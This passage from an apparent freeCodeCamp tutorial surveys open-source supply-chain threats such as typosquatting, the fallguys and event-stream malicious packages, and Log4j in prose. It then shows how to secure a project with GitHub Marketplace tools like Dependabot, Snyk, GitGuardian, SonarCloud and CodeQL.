<p>To avoid falling victim to typosquatting, it's important to carefully scan the packages in your codebase with security tools and to import them from known sources. </p>
<h3 id="heading-malicious-packages">Malicious Packages</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-15.50.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>Malicious packages</strong>, also known as malicious software or malware, are packages that are intentionally designed to harm or exploit computer systems. They are often distributed through various means, such as email attachments, malicious websites, or infected software downloads.</p>
<p>Once malicious packages are installed on a computer, they can cause a variety of problems. The main one would be data theft where the attacker can gain access to sensitive information, such as passwords, credit card numbers, or personal files. </p>
<p>There are also cases of system disruption where the malware can damage or delete important system files, slowing down the computer or rendering it inoperable. The attacker can also use the malware to spy on or monitor the victim's activities, including keystrokes, emails, and web browsing. And it can propagate or pivot where the malware can spread to other computers on the same network, causing further damage.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-15.52.28.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Here is an example with the malicious package <strong>fallguys</strong>. Attackers usually surf on trends and this game has been quite popular during the pandemic. Players might think that by downloading this package they could get an advantage within the game</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-15.56.48.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://snyk.io/advisor/npm-package/fallguys">Read more about fallguys here</a>.</em></p>
<p>Unfortunately for them, this package contains malicious code that would attempt to read local sensitive files and exfiltrate information through a Discord webhook. The code was accessing specific paths available on Windows systems located at <strong>/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb</strong>.</p>
<p>It is important to take steps to protect your computer from malicious packages, such as keeping your operating system and software up to date. </p>
<p>If you suspect that your computer has been infected with malware, you should take action quickly to minimize the damage and prevent the spread of the infection.</p>
<h3 id="heading-compromised-github-maintainers">Compromised GitHub Maintainers</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-16.01.09.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>Compromised GitHub maintainers</strong> refers to individuals who are responsible for maintaining open source software projects hosted on GitHub who have had their accounts hacked or taken over by attackers. </p>
<p>This can occur when the maintainer's GitHub account credentials, such as their username and password, are obtained by an attacker through means such as phishing attacks, password reuse, or being a victim of <strong>social engineering</strong> on GitHub.</p>
<p>Once the attacker has control of a maintainer's account, they can carry out various malicious actions. </p>
<p>They can push malicious packages where an attacker can publish new packages or updates to existing packages that contain malware, potentially infecting users who download and install them. </p>
<p>They can spread malware where an attacker can use the compromised account to spread malware to other users or organizations, either through the repository itself or through other means, such as phishing emails.</p>
<p>They can also tamper with the code where an attacker can make changes to the code in the repository, introducing vulnerabilities or backdoors that can be used for further exploitation.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-16.07.04.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>In this example with the <strong>event-stream package</strong>, the attacker has been through all the issues on the repository to look for features where he could contribute. He started building up the trust with the maintainer and the other contributors by pushing cosmetic changes at first. Then when he got more permissions, he pushed his malicious payload into the codebase which was targeting a Bitcoin wallet. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-73.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor/">Read more about this attack here</a>.</em></p>
<p>Compromised GitHub maintainers pose a serious threat to the security and stability of the open source software ecosystem. It's important for maintainers to take steps to protect their accounts and monitor their repositories for signs of suspicious activity. </p>
<p>This can include using strong and unique passwords, enabling two-factor authentication, and regularly reviewing the activity in their repositories for any unusual or unauthorized changes.</p>
<h3 id="heading-protestware">Protestware</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-16.10.00.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>Protestware</strong> refers to software or technology that is used as a form of protest or political activism. It is designed to challenge or disrupt systems, policies, or practices that are deemed unjust or harmful.</p>
<p>The use of protestware is controversial and can have legal consequences, as it often involves acts that are illegal or unethical, such as hacking, unauthorized access, or disruption of services. Additionally, it can have unintended consequences, such as causing harm to innocent parties or compromising the security of the users of the software.</p>
<p>If you want to learn more about protestware, you can read this <a target="_blank" href="https://snyk.io/blog/protestware-open-source-types-impact/">article</a>.</p>
<h2 id="heading-software-supply-chain-attacks">Software Supply Chain Attacks</h2>
<p>A <strong>supply chain attack</strong> is when a third party that has access to an organization's data and systems is used to infiltrate the organization's digital infrastructure. </p>
<p>A vulnerability can be introduced at any point in the supply chain, including the design, development, manufacturing, distribution, or delivery of a product or service.</p>
<p>For example, an attacker may compromise a software vendor that provides software components used by many organizations, or tamper with hardware components during manufacturing or shipping. The attacker may then use the compromise to spread malware or exfiltrate sensitive data from the target's systems.</p>
<p>The open nature of OSS makes it vulnerable to supply chain attacks. In the case of open source initiatives, malicious actors can introduce vulnerabilities into the software produced, making it easy for them to spread new threats to companies that use the software.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-13.05.24.png" alt="Image" width="600" height="400" loading="lazy">
<em>A vulnerability can be introduced at any point in the supply chain</em></p>
<p>In a <strong>software supply chain attack</strong>, attackers use malicious code to compromise an "<strong>upstream component</strong>" in the chain with the end goal of compromising the target of the attack: the "<strong>downstream component</strong>". </p>
<p>Compromising the upstream component is not the end goal – it is an opportunity for the attackers to compromise the target of the attack by inserting malware or providing a backdoor for future access.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-13.06.03.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>It doesn’t only affect JavaScript packages, as we have seen with a few examples in the open source attacks section. This is an issue for all ecosystems. </p>
<p>We had a great example with the <strong>Log4j</strong> vulnerability in 2021. If you want to learn more about that vulnerability, have a look at these <a target="_blank" href="https://snyk.io/log4j-vulnerability-resources/">resources</a>.</p>
<p>One of the Log4j exploits allows <strong>Remote Code Execution</strong> on the servers running vulnerable applications without requiring authentication. That has earned the vulnerability a severity rating of <strong>10 on the CVSS scale</strong> (Common Vulnerability Scoring System).</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-16.30.37.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHELOGGINGLOG4J-2314720">Read more about RCE here</a>.</em></p>
<p>Log4j is used in many commercial applications, and organisations might be vulnerable without knowing that they are actually using the logging library.</p>
<p>To mitigate the risk of supply chain attacks, organizations should implement security measures throughout their supply chain, including conducting background checks on suppliers, implementing code signing and secure boot processes, and regularly monitoring their systems for signs of compromise. </p>
<p>Additionally, it's important to keep software and hardware components up to date with the latest security patches and updates to reduce the risk of exploitation.</p>
<h3 id="heading-why-are-software-supply-chain-attacks-attractive-to-hackers">Why are Software Supply Chain Attacks Attractive to Hackers?</h3>
<p><strong>Software supply chain attacks</strong> are attractive to hackers for several reasons. </p>
<p>First of all, by targeting a vulnerability in the supply chain, the attacker can potentially compromise many organizations and their customers, rather than just one target. This allows the attacker to scale their impact and potentially steal large amounts of sensitive data or cause widespread damage.</p>
<p>Software supply chain attacks are difficult to detect because they often involve tampering with products or software components before they reach the target organization. This can make it difficult for the target to detect the attack, especially if the attacker is able to maintain access to the compromised systems for an extended period of time.</p>
<p>Also, organizations often trust the products and services provided by their suppliers, making it easier for the attacker to exploit that trust and carry out the attack. Additionally, security measures may not be as strict for suppliers or third-party vendors, making it easier for the attacker to compromise those systems.</p>
<p>Finally, the information and systems of organizations are often valuable targets for attackers, especially if they contain sensitive information such as intellectual property, financial data, or personal information. By compromising the supply chain, the attacker can gain access to these valuable assets.</p>
<h3 id="heading-why-is-application-security-important">Why is Application Security Important?</h3>
<p>Applications often store and process sensitive information, such as personal data, financial information, and intellectual property. Ensuring the security of these applications is essential for protecting this sensitive information from theft, manipulation, or unauthorized access.</p>
<p>Also, applications are critical to the day-to-day operations of most organizations, and a security breach in an application can cause significant disruptions to business operations and financial losses. By implementing robust application security measures, organizations can help ensure the availability and stability of their applications and maintain business continuity in the face of security threats.</p>
<p>We know that a <strong>security breach</strong> in an application can harm an organization's reputation, causing damage to its brand and loss of customer trust. By investing in application security, organizations can protect their reputation and build customer trust.</p>
<p>Additionally, many industries and organizations are subject to regulations that require them to implement strong security measures for their applications and protect sensitive information. Failing to comply with these regulations can result in legal penalties and financial losses.</p>
<p>Finally, a security breach in an application can result in financial losses for the organization, such as the cost of remediation, legal fees, and lost business due to reputational damage. Implementing robust application security measures can help prevent these financial losses and protect the organization's bottom line.</p>
<h2 id="heading-what-is-web-application-security">What is Web Application Security?</h2>
<p><strong>Web application security</strong> refers to the measures and practices taken to secure websites and web applications from various security threats. </p>
<p>It involves the implementation of a range of security measures, including access controls, authentication and authorization, encryption, input validation, and more. These measures are implemented throughout the software development life cycle (SDLC) to identify and address security vulnerabilities. </p>
<p>The goal of web application security is to ensure that the data and systems accessed by the web applications are protected from unauthorized access, tampering, and destruction. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-13.07.12.png" alt="Image" width="600" height="400" loading="lazy">
<em>An example of a SDLC pipeline</em></p>
<p>In this workflow, we can implement security guardrails at each stage of our pipeline. </p>
<p>At the coding stage, we could have a security tool intergated in our IDE or using the CLI to scan our code and packages. We could have some scans triggered at the repository level or integrated within our CI/CD pipeline to make sure we are testing our code. Registries can also be monitored to make sure we are fetching non-vulnerable packages or images.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-69.png" alt="Image" width="600" height="400" loading="lazy">
<em>Securing your SDLC is critical</em></p>
<p>Organizations such as <strong><a target="_blank" href="https://owasp.org/">OWASP</a></strong> (Open Worldwide Application Security Project) track vulnerabilities found and provide a list that developers and security teams can use as a starting point for their Application Security programme.</p>
<p>The most recent <strong>OWASP Top 10</strong> list was released in 2021 and includes broken access control, injection attacks, security misconfigurations and more.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-13.40.19.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://owasp.org/Top10/">Read through the OWASP top 10 here</a>.</em></p>
<h2 id="heading-the-iceberg-analogy">The Iceberg Analogy</h2>
<p>The "<strong>Iceberg</strong>" analogy is often used to describe the layers of a modern application, including application code, open source libraries, containers, and infrastructure as code. </p>
<p>The analogy is based on the idea that – just like an iceberg, which has only a small portion visible above the water while most of it lies below the surface – modern applications have many layers that are not immediately visible but are essential to their functioning.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-13.04.39.png" alt="Image" width="600" height="400" loading="lazy">
<em>The modern application's risk profile with a bigger attack surface</em></p>
<p>At the top of the iceberg, we have the visible <strong>application code</strong>, which is the code that developers write to create the application's functionality. But underneath the surface, there are many layers that are not immediately visible but are critical to the application's operation.</p>
<p>The first layer below the surface is <strong>open source libraries</strong>, which are often used by developers to save time and increase productivity. These libraries contain code that has been written by other developers and can be used to perform common tasks, such as handling HTTP requests or managing databases.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-16.48.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The next layer is <strong>containers</strong>, which are used to package and deploy applications in a consistent and efficient manner. Containers are used to isolate the application from the host system and provide a standardized environment for running the application.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-16.49.26.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Finally, at the bottom of the iceberg, we have <strong>infrastructure as code</strong>, which refers to the code that is used to automate the deployment and management of the infrastructure that supports the application. This includes resources such as virtual machines, networks, and storage.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-16.50.23.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The Iceberg analogy highlights the complexity of modern applications and the importance of taking a holistic approach to securing them. </p>
<p>To ensure that an application is secure, you'll need to consider and secure all of these layers, including the application code, the open source libraries, the containers, and the infrastructure as code. </p>
<h3 id="heading-how-to-implement-the-sdlc-in-open-source-projects">How to Implement the SDLC in Open Source Projects</h3>
<p>Web application security is a crucial aspect of ensuring the safety of a project. It involves implementing security measures throughout the software development life cycle (SDLC) to identify and address security vulnerabilities in the project and its configuration. </p>
<p>One way to secure your open source project is by using security tools and applications available on the <strong>GitHub Marketplace</strong>. This could also apply to your pet projects that you want to demonstrate during a job interview!</p>
<p>Doing so will enable the same level of protection as for a proprietary project.</p>
<h2 id="heading-github-marketplace">GitHub Marketplace</h2>
<p><a target="_blank" href="https://github.blog/2017-05-22-introducing-github-marketplace-and-more-tools-to-customize-your-workflow/"><strong>GitHub Marketplace</strong> was introduced in 2016</a> and offers developers a platform to find and integrate tools into their workflows. It offers a wide range of products and service, including:</p>
<ol>
<li><strong>Code review and analysis tools</strong>: Tools for automating code review, analyzing code quality, and checking for security vulnerabilities.</li>
<li><strong>Continuous integration and deployment tools</strong>: Tools for automating the build, test, and deployment of code to production environments.</li>
<li><strong>Project management tools</strong>: Tools for tracking project progress, managing tasks, and collaborating with other members of a development team.</li>
<li><strong>Community and communication tools</strong>: Tools for improving communication and collaboration within a development team and with the wider community.</li>
<li><strong>Monitoring and performance tools</strong>: Tools for monitoring the performance and availability of code in production environments.</li>
<li><strong>Compliance and security tool</strong>s: Tools for ensuring compliance with industry regulations and standards, and for improving the security of code.</li>
<li><strong>Education and training</strong>: Courses and resources for learning about GitHub, software development, and related technologies.</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-216.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://github.blog/2021-10-21-github-marketplace-welcomes-its-10000th-action">GitHub Marketplace has over 10,000th actions</a>!</em></p>
<p>The Marketplace is designed to make it easier for developers to discover and integrate tools into their workflow, streamlining the development process and increasing efficiency. </p>
<p>Many of the tools and services available in the Marketplace are created by third-party developers, and are designed to work seamlessly with GitHub. This allows developers to manage their code and projects more effectively.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.09.26.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-how-to-use-the-applications-and-github-actions-on-github-marketplace">How to Use the Applications and GitHub Actions on GitHub Marketplace</h3>
<p>The process of using an application or action on GitHub Marketplace can vary depending on the specific tool. You can browse the GitHub Marketplace for applications and actions that meet your needs. Once you find one you want to use, click on it to learn more about it. </p>
<p>Depending on the application or action, there are several ways to use it. Some may require installation or configuration, while others can be used right away. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.10.51.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://github.com/marketplace/snyk">https://github.com/marketplace/snyk</a></em></p>
<p>The application or action will come with instructions on how to use it. You can usually find them on the application or action's Marketplace listing or in the documentation. </p>
<p>As a maintainer of a project, you will check if this will be a suitable tool for your codebase. We can see if GitHub has verified the application, the supported languages, a description of the tool, and more information about the organization.</p>
<p>When you scroll down the product page, you should see the <strong>Pricing and setup</strong> section. Almost all tools and actions available on GitHub Marketplace have a free plan for public repositories and open source projects.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.11.39.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>When you click on the green button, <strong>Install it for free</strong>, you can review the order.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.13.24.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-what-to-consider-when-selecting-tools-or-applications">What to Consider When Selecting Tools or Applications</h3>
<p>When selecting tools and applications, it is important to consider factors such as the tech stack used, the number of steps in the pipeline, and whether you can implement guardrails at each step. </p>
<p>You can also consider the purpose of the tool and whether it has the features you need to meet your requirements. Some tools may have a wide range of features, while others may be more specialized for specific use cases. </p>
<p>Check whether the tool is compatible with your development stack and environment. This includes compatibility with programming languages, frameworks, operating systems, and other tools you are already using.</p>
<p>Look also for tools that have comprehensive documentation, tutorials, and support resources available. This can help you quickly get up and running with the tool, and troubleshoot any issues you may encounter. </p>
<p>You can check user reviews of the tool to see what others have experienced. This can give you an idea of the tool's strengths and weaknesses, as well as its overall quality.</p>
<p>Finally, do not forget to consider the security implications of the tool, especially if it will have access to sensitive data or systems. Look for tools that have been independently audited for security vulnerabilities and have strong security practices in place.</p>
<p>By taking these factors into account, you can make an informed decision when selecting an application or tool from the GitHub Marketplace.</p>
<p>But most importantly,</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.15.42.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-how-to-use-github-marketplace-to-mitigate-risk-in-your-open-source-project">How to Use GitHub Marketplace to Mitigate Risk in Your Open Source Project</h2>
<p>You can leverage the security applications and actions available on GitHub Marketplace to secure your pipeline at each stage of your Software Development Lifecycle. </p>
<p>Identify the security requirements for your software development lifecycle, such as which security tools you need and when you need them. This will help you select the appropriate security applications and actions.</p>
<p>Then, integrate the security tools into your pipeline to identify vulnerabilities and security issues at each stage of the SDLC. For example, you can use a code scanning tool to detect security issues in your code, or a container scanning tool to identify vulnerabilities in your containers.</p>
<p>Make sure to automate the security checks to ensure that security issues are caught as early as possible in the development process. This can help reduce the risk of security issues being introduced into the codebase.</p>
<p>You can also configure security policies to ensure that your development team follows secure coding practices and meets compliance requirements. This can include enforcing the use of specific libraries and frameworks, or mandating secure code review and testing procedures.</p>
<p>Do not forget to monitor and manage security alerts to ensure that vulnerabilities and security issues are addressed in a timely manner. This can include setting up notifications for security alerts, prioritizing vulnerabilities, and tracking resolution progress.</p>
<p>If you do not know where to start, you could consider building a <strong>basic pipeline</strong> that would comprise:</p>
<ul>
<li>a <strong>software composition analysis tool</strong> to focus on identifying the open source in a codebase so maintainers and contributors can manage their exposure to security and license compliance issues.</li>
<li>a <strong>tool to prevent secrets sprawling</strong> which is the unwanted distribution of secrets like API keys and credentials through multiple systems.</li>
<li>a <strong>tool to cover static code analysis</strong> which is a method of debugging by examining source code before a program is run where it analyzes a set of code against a set of coding rules.</li>
</ul>
<h2 id="heading-software-composition-analysis">Software Composition Analysis</h2>
<p><strong>Software Composition Analysis (SCA)</strong> is the process of identifying and analyzing the various components, libraries, and dependencies that make up a software application. </p>
<p>The goal of SCA is to identify any known vulnerabilities or security risks in the components used in the software, and to ensure that the software is built using secure and up-to-date components.</p>
<p>SCA is an important step in the software development process, as it helps to ensure that the software is free from vulnerabilities that attackers could exploit. </p>
<p>You typically perform SCA at regular intervals throughout the development cycle, and it's an important aspect of secure software development practices (such as the Secure Software Development Life Cycle).</p>
<p>SCA tools and services can scan the software and its components, comparing them against a database of known vulnerabilities and security risks. You can then use the results of the analysis to identify and address any security issues, such as outdated components or components with known vulnerabilities, before they can be exploited by attackers.</p>
<h3 id="heading-software-composition-analysis-with-renovate">Software Composition Analysis with Renovate</h3>
<p><strong>Mend Renovate</strong> is an open source tool for automating the management of dependencies in a software project. </p>
<p>Like other dependency management tools, it helps to keep the dependencies in a project up-to-date, reducing the risk of security vulnerabilities and other issues associated with outdated dependencies.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.28.02.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://github.com/marketplace/renovate">https://github.com/marketplace/renovate</a></em></p>
<p>This is an example of a pull request raised by Renovate. The pull request will have all the necessary information around the version of the package, the release notes, and if there are any breaking changes before merge.</p>
<h3 id="heading-software-composition-analysis-with-dependabot">Software Composition Analysis with Dependabot</h3>
<p><strong>Dependabot</strong> is a service offered by <strong>GitHub</strong> that automates the process of updating dependencies in a software project. It helps developers keep their dependencies up-to-date, reducing the risk of security vulnerabilities and other issues associated with outdated dependencies.</p>
<p>Dependabot monitors a project's dependencies and sends pull requests to update them when new versions become available. The pull requests include detailed information about the updates, including the new version number, a summary of changes, and a link to the release notes. This information helps developers to quickly assess the impact of the update and decide whether to merge it into their codebase.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.31.10.png" alt="Image" width="600" height="400" loading="lazy">
<em>Dependabot pull request</em></p>
<h3 id="heading-software-composition-analysis-with-snyk">Software Composition Analysis with Snyk</h3>
<p><strong>Snyk</strong> is a tool for securing open source software dependencies. It helps developers to identify and fix vulnerabilities in their dependencies, as well as monitor their projects for new security issues.</p>
<p>Snyk integrates with popular development platforms, such as GitHub and GitLab. It provides developers with insights into the security of their dependencies, including the severity of vulnerabilities, when they were discovered, and what you need to do to fix them. The tool also provides automated security patches, which you can easily apply to fix known vulnerabilities.</p>
<p>Snyk supports a wide range of programming languages and package managers, making it a versatile solution for securing open source software dependencies. It also provides detailed reports and analytics, helping developers to understand the security posture of their projects and take action to address security vulnerabilities.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.40.03.png" alt="Image" width="600" height="400" loading="lazy">
<em>Snyk pull request</em></p>
<p>If you want to learn more about vulnerabilities, you can explore the <strong>Snyk Open Source Vulnerability Database</strong>. It is a comprehensive database that provides information about known security vulnerabilities in open source packages and libraries. </p>
<p>This database is constantly updated with new vulnerabilities and offers users the ability to search for vulnerabilities by package name, version number, or specific vulnerability. </p>
<p>The database also provides information on the severity of each vulnerability and offers remediation advice to help developers address any vulnerabilities that are identified in their code. </p>
<p>The Snyk Open Source Vulnerability Database is a valuable resource for developers who are building applications with open source components. It can help you identify potential security issues and take steps to prevent them before they become a problem.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-22.00.09-1.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://security.snyk.io/">https://security.snyk.io/</a></em></p>
<h3 id="heading-software-composition-analysis-email-notifications">Software Composition Analysis Email Notifications</h3>
<p>When using a Software Composition Analysis tool, email notifications can be a useful feature to help keep you informed about potential vulnerabilities in your open source dependencies. </p>
<p>You can set up these notifications to provide alerts when new vulnerabilities are discovered, when existing vulnerabilities have been patched, or when new versions of dependencies are available that address security issues. </p>
<p>By enabling these notifications, you can quickly identify and respond to potential security threats and stay on top of updates to your dependencies. This helps you maintain the security of your applications.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.44.35.png" alt="Image" width="600" height="400" loading="lazy">
<em>Examples of notifications from Dependabot and Snyk</em></p>
<h2 id="heading-what-is-secret-sprawl"><strong>What is Secret Sprawl?</strong></h2>
<p><strong>Secret Sprawl</strong> refers to the growing problem of uncontrolled and unsecured secrets in software projects. </p>
<p>Secrets, such as API keys, passwords, and other sensitive information, are commonly used in software development to securely access resources or protect sensitive data. But secrets are often stored in unencrypted form in source code, configuration files, and other artifacts, making them vulnerable to theft and misuse.</p>
<p>Secret sprawl can arise when secrets are shared or duplicated across multiple systems, repositories, and teams, making it difficult to keep track of them all and ensure that they are securely managed. This can lead to a range of security and compliance issues, such as data breaches, unauthorized access, and regulatory violations.</p>
<p>To address secret sprawl, organizations and software development teams need to implement effective strategies for managing secrets, such as encrypting sensitive information, storing secrets in a secure centralized location, and providing access only to authorized users. They also need to have robust processes in place to ensure that secrets are securely managed throughout their lifecycle, from creation to retirement.</p>
<h3 id="heading-secret-sprawl-scanning-with-gitguardian">Secret Sprawl Scanning with GitGuardian</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.48.21.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://github.com/marketplace/gitguardian">https://github.com/marketplace/gitguardian</a></em></p>
<p><strong>GitGuardian</strong> is a security tool that helps organizations and developers identify and prevent potential security breaches in their code repositories. </p>
<p>It works by scanning code and configuration files in real-time, looking for secrets, such as API keys, credentials, and other sensitive information, that may have been accidentally committed to a repository.</p>
<p>GitGuardian integrates with popular version control systems, such as GitHub and GitLab, and provides developers with real-time notifications and alerts when sensitive information is detected in their code. </p>
<p>The tool also provides a detailed analysis of the risk level of each breach, including the type of secret, its source, and what actions developers can take to prevent a security incident.</p>
<p>GitGuardian is designed to work seamlessly with the development workflow, helping developers to focus on their work while ensuring that sensitive information is protected at all times. </p>
<p>It provides a range of security and compliance features, such as automated secret rotation, policy enforcement, and reporting, making it a comprehensive solution for managing the security of code repositories.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.49.22.png" alt="Image" width="600" height="400" loading="lazy">
<em>Screen before installing GitGuardian in your project</em></p>
<p>You can choose to install GitGuardian on all repositories or select a few repositories. I recommend installing it on all repositories. This will give you visibility on all the projects you have done and if there are any credentials publicly available.</p>
<p>Once you have uploaded your projects, you can check on the dashboard to see which projects have secrets. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.49.46.png" alt="Image" width="600" height="400" loading="lazy">
<em>GitGuardian Dashboard</em></p>
<p>It is important to keep in mind that these tools have a lot of integrations endpoints. Here we are talking about GitHub, but you can implement some of them on GitLab or BitBucket as well. </p>
<p>Also you can implement these tools as an additional step within your CI/CD pipeline depending on the tools you are using such as Circle CI, Jenkins, GitHub Actions, Azure pipelines, and so on.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.50.48.png" alt="Image" width="600" height="400" loading="lazy">
<em>Tools usually have a lot of integrations for your projects</em></p>
<p>In this particular case, to prevent secret sprawling, I would recommend adding a <strong>pre-commit git hook integration</strong>. By including a pre-commit step, developers can scan code changes for potential secrets before committing them to the repository.</p>
<h2 id="heading-static-code-analysis">Static Code Analysis</h2>
<p><strong>Static Code Analysis</strong> is a technique used in software development to analyze code without executing it. The analysis is performed by tools that examine the code and identify potential security vulnerabilities, coding errors, and other issues that may impact the quality and stability of the software.</p>
<p>Static code analysis tools use a variety of techniques, such as pattern matching, rule-based analysis, and data flow analysis, to identify potential issues in the code. The results of the analysis are then presented to the developer in the form of warnings, errors, or other notifications, which the developer can use to improve the quality and security of the code.</p>
<p>You can use static code analysis at different stages of the software development lifecycle, from early design and development, through to testing and deployment. It can help to identify security vulnerabilities, such as SQL injection, cross-site scripting (XSS), and buffer overflows, as well as coding errors and performance issues.</p>
<h3 id="heading-static-code-analysis-with-sonarcloud">Static Code Analysis with SonarCloud</h3>
<p><strong>SonarCloud</strong> is a cloud-based platform for continuous code quality and security analysis.</p>
<p>SonarCloud integrates with popular development tools, such as GitHub and GitLab, and provides developers with real-time feedback on the quality and security of their code. </p>
<p>The platform provides a wide range of features, including code quality metrics, security alerts, and test coverage reports, making it a comprehensive solution for managing code quality and security.</p>
<p>You can choose between the application:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.53.03.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://github.com/marketplace/sonarcloud">https://github.com/marketplace/sonarcloud</a></em></p>
<p>or the GitHub action:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.54.16.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://github.com/marketplace/actions/sonarcloud-scan">https://github.com/marketplace/actions/sonarcloud-scan</a></em></p>
<p>Once you have imported your project, SonarCloud will analyze the codebase:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-75.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>and give you some information on the health of your project:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-76.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This includes security vulnerabilities that you can filter by severity. The tool will let you know what vulnerabilities are an issue and give you more context to fix them.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-77.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>These tools also give you a mapping of your codebase for the coverage so you know which area of your codebase to improve (writing more tests, deleting duplicate code, and fixing security vulnerabilities).</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-78.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-static-code-analysic-with-github-codeql">Static Code Analysic with GitHub CodeQL</h3>
<p><strong>GitHub CodeQL</strong> is a query-based code analysis tool developed by GitHub that helps developers to find and fix vulnerabilities in their code. It uses a powerful and flexible query language, called CodeQL, to search codebases for security issues and other bugs.</p>
<p>With GitHub CodeQL, developers can write queries that identify specific patterns of code that may represent security vulnerabilities or other problems. The queries are then executed against the codebase, and the results are presented to the developer in the form of alerts, notifications, or other feedback.</p>
<p>On your repository, click on the <strong>Actions</strong> tab and type CodeQL in the search bar to find the workflow.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-22.18.49.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You do not need to create the YAML file from scratch. Click on <strong>Configure</strong> and you will just need to check if the programming languages included in the YAML file are correct.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-80.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can then click on <strong>Start commit</strong>. Now each time there are changes in your codebase through a pull request – as defined as the trigger on the YAML file – the CodeQL action will scan the code pushed and let you know if there are any vulnerabilities to be fixed.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-81.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You will be able to check the progress of the workflow under the same tab.</p>
